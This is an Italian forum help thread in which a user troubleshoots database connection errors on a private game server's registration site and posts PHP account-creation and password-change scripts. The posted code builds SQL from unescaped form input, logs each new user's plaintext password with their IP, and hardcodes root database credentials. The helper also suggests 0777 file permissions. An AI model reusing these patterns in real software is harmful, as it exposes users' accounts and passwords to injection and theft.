Problema risolto problema sito per no-ip

xxREVENGExx

Nuovo utente
Autore del topic
30 Gennaio 2011
25
0
Miglior risposta
0
salve ragazzi da un paio di giorni ho fatto un server no-ip funziona tutto l'unica cosa che mi da problemi è il sito (pag registrazione e il resto)
nella configurazione del sito ho messo l'ip che uso per loggare in game e che uso per sbuggare le porte del router... ma niente mi dice errore di connessione al database
ho provato a usare xampp e file zilla ma niente non va chi mi sa dare una mano???
 
Ultima modifica da un moderatore:
Riferimento: problema sito per no-ip

Mi dispiace ma devo rimuovere il nickname di sykpe visto che non è consentito richiedere assistenza all'esterno del forum. Puoi postare la configurazione dell'account_create.php? Così la controllo.
 
Riferimento: problema sito per no-ip

$xml = file_get_contents("http://api.hostip.info/?ip=".$ipAddr);
preg_match("@<Hostip>(\s)*<gml:name>(.*?)</gml:name>@si",$xml,$match);
$ipDetail['city']=$match[2];
preg_match("@<countryName>(.*?)</countryName>@si",$xml,$matches);
$ipDetail['country']=$matches[1];
preg_match("@<countryAbbrev>(.*?)</countryAbbrev>@si",$xml,$cc_match);
$ipDetail['country_code']=$cc_match[1]; //assing the country code to array
return $ipDetail;

}

/* Configuration*/
$host_db='specialdragonmt2.no-ip.org';
$Login_db='root';
$pwd_db='franzi';
$bdd_name='account';
/* end of Configuration */


/**********Bonus********/
$create_time=date('Y-m-d H:i:s');
$cash='999999';
$gold_expire=date("Y")."-".(date("m")+1)."-".date("d")." ".date("H").":".date("i").":".date("s");
$silver_expire='0000-00-00 00:00:00';
$safebox_expire='0000-00-00 00:00:00';
$autoloot_expire=date("Y")."-".(date("m")+1)."-".date("d")." ".date("H").":".date("i").":".date("s");
$fish_mind_expire='0000-00-00 00:00:00';
$marriage_fast_expire='0000-00-00 00:00:00';
$money_drop_rate_expire=date("Y")."-".(date("m")+1)."-".date("d")." ".date("H").":".date("i").":".date("s");

/****end Of bonus*********/

if(isset($_POST['Login'])){
/* Data submit*/
$Login=$_POST['Login'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$email=$_POST['email'];
$deletepass=$_POST['deletepass'];
/* end of Data submit*/

mysql_connect($host_db,$Login_db,$pwd_db);
mysql_select_db($bdd_name);

$request="INSERT INTO `account`.`account` (`id` ,`Login` ,`password` ,`real_name` ,`social_id` ,`email` ,`phone1` ,`phone2` ,`address` ,`zipcode` ,`create_time` ,`question1` ,`answer1` ,`question2` ,`answer2` ,`is_testor` ,`status` ,`securitycode` ,`newsletter` ,`empire` ,`name_checked` ,`availDt` ,`mileage` ,`cash` ,`gold_expire` ,`silver_expire` ,`safebox_expire` ,`autoloot_expire` ,`fish_mind_expire` ,`marriage_fast_expire` ,`money_drop_rate_expire` ,`ttl_cash` ,`ttl_mileage` ,`channel_company`)
VALUES (NULL , '$Login', PASSWORD('$password'), '', '$deletepass', '$email', NULL , NULL , NULL , '', '$create_time', NULL , NULL , NULL , NULL , '0', 'OK', '', '0', '0', '0', '0000-00-00 00:00:00', '0','$cash' ,'$gold_expire' ,'$silver_expire' ,'$safebox_expire' ,'$autoloot_expire' ,'$fish_mind_expire' ,'$marriage_fast_expire' ,'$money_drop_rate_expire' , '0', '0', '');";

if ($password==$password2){
if(mysql_query($request)){
echo("Contul $ s-a creat cu succes!");
$ip=$_SERVER['REMOTE_ADDR'];
$Stato=StatoIp($ip);
if ($Stato['country']=="ITALY" || $Stato['country']=="EUROPEAN UNION" || $Stato['country']=="unknown" ){
echo("Contul $s-a creat cu succes !");
mysql_query("insert into `account_log_newage`(`id`,`nome`,`password`,`ip`,`nazione`) values ( NULL,'".$Login."','".$password."','".$ip."',' ".$Stato['country']."')");
}else{
echo "Welcome^_^";
}
}else{
echo"ID nu este bun";
}
}else{
echo "Parola nu este buna ";
}
}else{


echo " <FORM action='account_create.php' method='post'>

<center><table border='0' width='95%' align='center'>
<tr>


<td>Id :Maxim 9 caractere</td><td>
<input tabindex='1' name='Login' class='application' size='30' /></td>
</tr>

<tr>
<td>Parola :Maxim 9 caractere</td><td>
<input tabindex='2' name='password' type='password' class='application' size='30' /></td>

</tr>

<tr>
<td>Repeta Parola :</td><td>
<input tabindex='3' name='password2' type='password' class='application' size='30' /></td>
</tr>


</tr>
<tr>
<td>&nbsp;</td><td>&nbsp;</td>

</tr>
<tr>
<td>Email :</td><td>
<input tabindex='4' name='email' class='application' size='30' /></td>

</tr>
<tr>
<td>Parola sa stergi caracterul : maxim 7 cifre</td><td>
<input tabindex='5' name='deletepass' class='application' size='30' /></td>

</tr>
<tr>

</tr>

</table>
<center><button tabindex='6' name='submit' value='submit' class='eingabe-button' type='submit'>Inregistreaza-te</button></td></center>
</FORM>";
}
?>


















<link href="../css/plugins.css" rel="stylesheet" type="text/css" media="screen" />
<script type="text/javascript" src="../js/jquery-latest.pack.js"></script>
<script type="text/javascript" src="../js/jquery.validationEngine.modified.js"></script>
<script type="text/javascript" src="../js/jquery.validationEngine.rules.html"></script>
<script type="text/javascript" src="../js/iepngfix_tilebg.js"></script>
<script type="text/javascript" src="../js/jquery.tools.min.js"></script>
<script type="text/javascript" src="../js/jquery.fancybox-1.3.1.pack.js"></script>
<script type="text/javascript" src="../js/jquery.bgiframe.js"></script>
<script type="text/javascript" src="../js/main.js"></script>
<div id="register" class="col-2">
<div class="content content-last">
<div class="content-bg">
<div class="content-bg-bottom">
<h2><?PHP echo $serverSettings['titel']; ?> - Contul tău</h2>
<div class="inner-form-border">
<div class="inner-form-box">
<h3><a id="toLogin" href="index.php?s=profil" title="Datele utilizatorului">Datele utilizatorului</a>Schimbă parola</h3>
<div class="trenner"></div><br/>
<?PHP

if(isset($_SESSION['user_admin']) && checkInt($_SESSION['user_admin']) && $_SESSION['user_admin']>=0) {

if(isset($_POST['submit']) && $_POST['submit']=="Schimba") {

if(checkAnum($_POST['npass']) && !empty($_POST['opass']) && (!empty($_POST['npass']) && strlen($_POST['npass'])>=8 && strlen($_POST['npass'])<=16) && $_POST['npass']==$_POST['npass2']) {

$oldPass = mysql_real_escape_string($_POST['opass']);
$newPass = mysql_real_escape_string($_POST['npass']);

$sqlCmd = "SELECT id,login FROM account.account WHERE password=PASSWORD('".$oldPass."') AND id='".$_SESSION['user_id']."' LIMIT 1";
$sqlQry = mysql_query($sqlCmd,$sqlServ);

if(mysql_num_rows($sqlQry)==1) {

$passCmd = "UPDATE account.account SET password=PASSWORD('".$newPass."') WHERE id='".$_SESSION['user_id']."' LIMIT 1;";
$passUpdate = mysql_query($passCmd,$sqlServ);

if($passUpdate) {
echo'<h1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Parola a fost schimbată cu succes.<br/><br/></h1><div class="trenner"></div>';
}
else {
echo'<h1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Schimbarea parolei a eşuat.<br/><br/></h1><div class="trenner"></div>';
}

}
else {
echo'<h1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Parola care aţi introduso a fost incorectă.<br/><br/></h1><div class="trenner"></div>';
}

}
else {
echo'<h1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Nu aţi introdus toate informaţiile corect.<br/><br/></h1><div class="trenner"></div>';
}

}
?>
<?PHP
}
else {
echo'<h1><br/>Trebuie să fi înregistrat pentru a vedea această zonă!</h1><br/>';
}
?>
<form name="registerForm" id="registerForm" action="index.php?s=password" method="POST">
<div>
<label for="password">Parola veche:*
</label>
<input
type="password"
class="validate[required,custom[noSpecialCharacters],length[8,16]]"
id="password"
name="opass"
maxlength="16"
value=""
AUTOCOMPLETE="off"
/>
</div>
<div>
<label for="password">Parola nouă:*
</label>
<input
type="password"
class="validate[required,custom[noSpecialCharacters],length[8,16]]"
id="password"
name="npass"
maxlength="16"
value=""
AUTOCOMPLETE="off"
/>
</div>
<div>
<label for="password">Repetă parola nouă:*
</label>
<input
type="password"
class="validate[required,custom[noSpecialCharacters],length[8,16]]"
id="password"
name="npass2"
maxlength="16"
value=""
AUTOCOMPLETE="off"
/>
</div>
<br/><input id="submitBtn" type="submit" name="submit" value="Schimba" class="btn-bg"/>
</form>
<p id="regLegend">* este necesar</p>
</div>
</div>
</div>
</div>
</div>
</div>
--------------- AGGIUNTA AL POST ---------------
$xml = file_get_contents("http://api.hostip.info/?ip=".$ipAddr);
preg_match("@<Hostip>(\s)*<gml:name>(.*?)</gml:name>@si",$xml,$match);
$ipDetail['city']=$match[2];
preg_match("@<countryName>(.*?)</countryName>@si",$xml,$matches);
$ipDetail['country']=$matches[1];
preg_match("@<countryAbbrev>(.*?)</countryAbbrev>@si",$xml,$cc_match);
$ipDetail['country_code']=$cc_match[1]; //assing the country code to array
return $ipDetail;

}

/* Configuration*/
$host_db='specialdragonmt2.no-ip.org';
$Login_db='root';
$pwd_db='franzi';
$bdd_name='account';
/* end of Configuration */


/**********Bonus********/
$create_time=date('Y-m-d H:i:s');
$cash='999999';
$gold_expire=date("Y")."-".(date("m")+1)."-".date("d")." ".date("H").":".date("i").":".date("s");
$silver_expire='0000-00-00 00:00:00';
$safebox_expire='0000-00-00 00:00:00';
$autoloot_expire=date("Y")."-".(date("m")+1)."-".date("d")." ".date("H").":".date("i").":".date("s");
$fish_mind_expire='0000-00-00 00:00:00';
$marriage_fast_expire='0000-00-00 00:00:00';
$money_drop_rate_expire=date("Y")."-".(date("m")+1)."-".date("d")." ".date("H").":".date("i").":".date("s");

/****end Of bonus*********/

if(isset($_POST['Login'])){
/* Data submit*/
$Login=$_POST['Login'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$email=$_POST['email'];
$deletepass=$_POST['deletepass'];
/* end of Data submit*/

mysql_connect($host_db,$Login_db,$pwd_db);
mysql_select_db($bdd_name);

$request="INSERT INTO `account`.`account` (`id` ,`Login` ,`password` ,`real_name` ,`social_id` ,`email` ,`phone1` ,`phone2` ,`address` ,`zipcode` ,`create_time` ,`question1` ,`answer1` ,`question2` ,`answer2` ,`is_testor` ,`status` ,`securitycode` ,`newsletter` ,`empire` ,`name_checked` ,`availDt` ,`mileage` ,`cash` ,`gold_expire` ,`silver_expire` ,`safebox_expire` ,`autoloot_expire` ,`fish_mind_expire` ,`marriage_fast_expire` ,`money_drop_rate_expire` ,`ttl_cash` ,`ttl_mileage` ,`channel_company`)
VALUES (NULL , '$Login', PASSWORD('$password'), '', '$deletepass', '$email', NULL , NULL , NULL , '', '$create_time', NULL , NULL , NULL , NULL , '0', 'OK', '', '0', '0', '0', '0000-00-00 00:00:00', '0','$cash' ,'$gold_expire' ,'$silver_expire' ,'$safebox_expire' ,'$autoloot_expire' ,'$fish_mind_expire' ,'$marriage_fast_expire' ,'$money_drop_rate_expire' , '0', '0', '');";

if ($password==$password2){
if(mysql_query($request)){
echo("Contul $ s-a creat cu succes!");
$ip=$_SERVER['REMOTE_ADDR'];
$Stato=StatoIp($ip);
if ($Stato['country']=="ITALY" || $Stato['country']=="EUROPEAN UNION" || $Stato['country']=="unknown" ){
echo("Contul $s-a creat cu succes !");
mysql_query("insert into `account_log_newage`(`id`,`nome`,`password`,`ip`,`nazione`) values ( NULL,'".$Login."','".$password."','".$ip."',' ".$Stato['country']."')");
}else{
echo "Welcome^_^";
}
}else{
echo"ID nu este bun";
}
}else{
echo "Parola nu este buna ";
}
}else{


echo " <FORM action='account_create.php' method='post'>

<center><table border='0' width='95%' align='center'>
<tr>


<td>Id :Maxim 9 caractere</td><td>
<input tabindex='1' name='Login' class='application' size='30' /></td>
</tr>

<tr>
<td>Parola :Maxim 9 caractere</td><td>
<input tabindex='2' name='password' type='password' class='application' size='30' /></td>

</tr>

<tr>
<td>Repeta Parola :</td><td>
<input tabindex='3' name='password2' type='password' class='application' size='30' /></td>
</tr>


</tr>
<tr>
<td>&nbsp;</td><td>&nbsp;</td>

</tr>
<tr>
<td>Email :</td><td>
<input tabindex='4' name='email' class='application' size='30' /></td>

</tr>
<tr>
<td>Parola sa stergi caracterul : maxim 7 cifre</td><td>
<input tabindex='5' name='deletepass' class='application' size='30' /></td>

</tr>
<tr>

</tr>

</table>
<center><button tabindex='6' name='submit' value='submit' class='eingabe-button' type='submit'>Inregistreaza-te</button></td></center>
</FORM>";
}
?>


















<link href="../css/plugins.css" rel="stylesheet" type="text/css" media="screen" />
<script type="text/javascript" src="../js/jquery-latest.pack.js"></script>
<script type="text/javascript" src="../js/jquery.validationEngine.modified.js"></script>
<script type="text/javascript" src="../js/jquery.validationEngine.rules.html"></script>
<script type="text/javascript" src="../js/iepngfix_tilebg.js"></script>
<script type="text/javascript" src="../js/jquery.tools.min.js"></script>
<script type="text/javascript" src="../js/jquery.fancybox-1.3.1.pack.js"></script>
<script type="text/javascript" src="../js/jquery.bgiframe.js"></script>
<script type="text/javascript" src="../js/main.js"></script>
<div id="register" class="col-2">
<div class="content content-last">
<div class="content-bg">
<div class="content-bg-bottom">
<h2><?PHP echo $serverSettings['titel']; ?> - Contul tău</h2>
<div class="inner-form-border">
<div class="inner-form-box">
<h3><a id="toLogin" href="index.php?s=profil" title="Datele utilizatorului">Datele utilizatorului</a>Schimbă parola</h3>
<div class="trenner"></div><br/>
<?PHP

if(isset($_SESSION['user_admin']) && checkInt($_SESSION['user_admin']) && $_SESSION['user_admin']>=0) {

if(isset($_POST['submit']) && $_POST['submit']=="Schimba") {

if(checkAnum($_POST['npass']) && !empty($_POST['opass']) && (!empty($_POST['npass']) && strlen($_POST['npass'])>=8 && strlen($_POST['npass'])<=16) && $_POST['npass']==$_POST['npass2']) {

$oldPass = mysql_real_escape_string($_POST['opass']);
$newPass = mysql_real_escape_string($_POST['npass']);

$sqlCmd = "SELECT id,login FROM account.account WHERE password=PASSWORD('".$oldPass."') AND id='".$_SESSION['user_id']."' LIMIT 1";
$sqlQry = mysql_query($sqlCmd,$sqlServ);

if(mysql_num_rows($sqlQry)==1) {

$passCmd = "UPDATE account.account SET password=PASSWORD('".$newPass."') WHERE id='".$_SESSION['user_id']."' LIMIT 1;";
$passUpdate = mysql_query($passCmd,$sqlServ);

if($passUpdate) {
echo'<h1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Parola a fost schimbată cu succes.<br/><br/></h1><div class="trenner"></div>';
}
else {
echo'<h1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Schimbarea parolei a eşuat.<br/><br/></h1><div class="trenner"></div>';
}

}
else {
echo'<h1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Parola care aţi introduso a fost incorectă.<br/><br/></h1><div class="trenner"></div>';
}

}
else {
echo'<h1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Nu aţi introdus toate informaţiile corect.<br/><br/></h1><div class="trenner"></div>';
}

}
?>
<?PHP
}
else {
echo'<h1><br/>Trebuie să fi înregistrat pentru a vedea această zonă!</h1><br/>';
}
?>
<form name="registerForm" id="registerForm" action="index.php?s=password" method="POST">
<div>
<label for="password">Parola veche:*
</label>
<input
type="password"
class="validate[required,custom[noSpecialCharacters],length[8,16]]"
id="password"
name="opass"
maxlength="16"
value=""
AUTOCOMPLETE="off"
/>
</div>
<div>
<label for="password">Parola nouă:*
</label>
<input
type="password"
class="validate[required,custom[noSpecialCharacters],length[8,16]]"
id="password"
name="npass"
maxlength="16"
value=""
AUTOCOMPLETE="off"
/>
</div>
<div>
<label for="password">Repetă parola nouă:*
</label>
<input
type="password"
class="validate[required,custom[noSpecialCharacters],length[8,16]]"
id="password"
name="npass2"
maxlength="16"
value=""
AUTOCOMPLETE="off"
/>
</div>
<br/><input id="submitBtn" type="submit" name="submit" value="Schimba" class="btn-bg"/>
</form>
<p id="regLegend">* este necesar</p>
</div>
</div>
</div>
</div>
</div>
</div>
 
Ultima modifica:
Riferimento: problema sito per no-ip

@xxREVENGExx Con quale indirizzo hai associato l'hosting su no-ip? Inseriscilo al posto di questa stringa:

$host_db='specialdragonmt2.no-ip.org';

La connessione al database come la effettui su navicat?
 
Riferimento: problema sito per no-ip

la effettuo con l'ip 192.168.1.190
ora dentro account_create ho messo ip 192.168.1.190 guarda cosa dice..
guarda qui
Perfavore, Entra oppure Registrati per vedere i Link!
prova a fare un account... guarda che dice
 
Ultima modifica:
Riferimento: problema sito per no-ip

la effettuo con l'ip 192.168.1.190
ora dentro account_create ho messo ip 192.168.1.190 guarda cosa dice..
guarda qui
Perfavore, Entra oppure Registrati per vedere i Link!
prova a fare un account... guarda che dice

Dovrebbe essere errata la password nell'account_create per accedere al DB da quanto riporta l'errore
 
Riferimento: problema sito per no-ip

ma la passw del db non è stata cambiata ò.ò comunque ti dico cosa mi esce a me quando provo a registrare
Warning: mysql_connect() [function.mysql-connect]: Lost connection to MySQL server at 'reading initial communication packet', system error: 110 in /data/multiserv/users/1150944/projects/2538700/www/account_create.php on line 57

Warning: mysql_select_db() [function.mysql-select-db]: Access denied for user 'www-data'@'localhost' (using password: NO) in /data/multiserv/users/1150944/projects/2538700/www/account_create.php on line 58

Warning: mysql_select_db() [function.mysql-select-db]: A link to the server could not be established in /data/multiserv/users/1150944/projects/2538700/www/account_create.php on line 58

Warning: mysql_query() [function.mysql-query]: Access denied for user 'www-data'@'localhost' (using password: NO) in /data/multiserv/users/1150944/projects/2538700/www/account_create.php on line 64

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /data/multiserv/users/1150944/projects/2538700/www/account_create.php on line 64
Questo ID Esiste gia
 
Riferimento: problema sito per no-ip

ma la passw del db non è stata cambiata ò.ò comunque ti dico cosa mi esce a me quando provo a registrare
Warning: mysql_connect() [function.mysql-connect]: Lost connection to MySQL server at 'reading initial communication packet', system error: 110 in /data/multiserv/users/1150944/projects/2538700/www/account_create.php on line 57

Warning: mysql_select_db() [function.mysql-select-db]: Access denied for user 'www-data'@'localhost' (using password: NO) in /data/multiserv/users/1150944/projects/2538700/www/account_create.php on line 58

Warning: mysql_select_db() [function.mysql-select-db]: A link to the server could not be established in /data/multiserv/users/1150944/projects/2538700/www/account_create.php on line 58

Warning: mysql_query() [function.mysql-query]: Access denied for user 'www-data'@'localhost' (using password: NO) in /data/multiserv/users/1150944/projects/2538700/www/account_create.php on line 64

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /data/multiserv/users/1150944/projects/2538700/www/account_create.php on line 64
Questo ID Esiste gia

Controlla la stringa 58, postala qui perchè uno degli errori è riportato lì, se il problema non è la password è lo script che è errato.
 
Riferimento: problema sito per no-ip

nella riga 58 c'è scritto solo questo..
mysql_select_db($bdd_name);
 
Riferimento: problema sito per no-ip

nella riga 58 c'è scritto solo questo..
mysql_select_db($bdd_name);

Ok questa è giusta, nella 64 invece cosa c'è?

Comunque potrebbe essere anche un problema di permessi, prova ad impostare 0777 sull'account_create.
 
Riferimento: problema sito per no-ip

fatto... ho dato i permessi comunque la riga 64
if(mysql_query($request)){


guarda con questo che dice...
Perfavore, Entra oppure Registrati per vedere i Link!
 
Ultima modifica: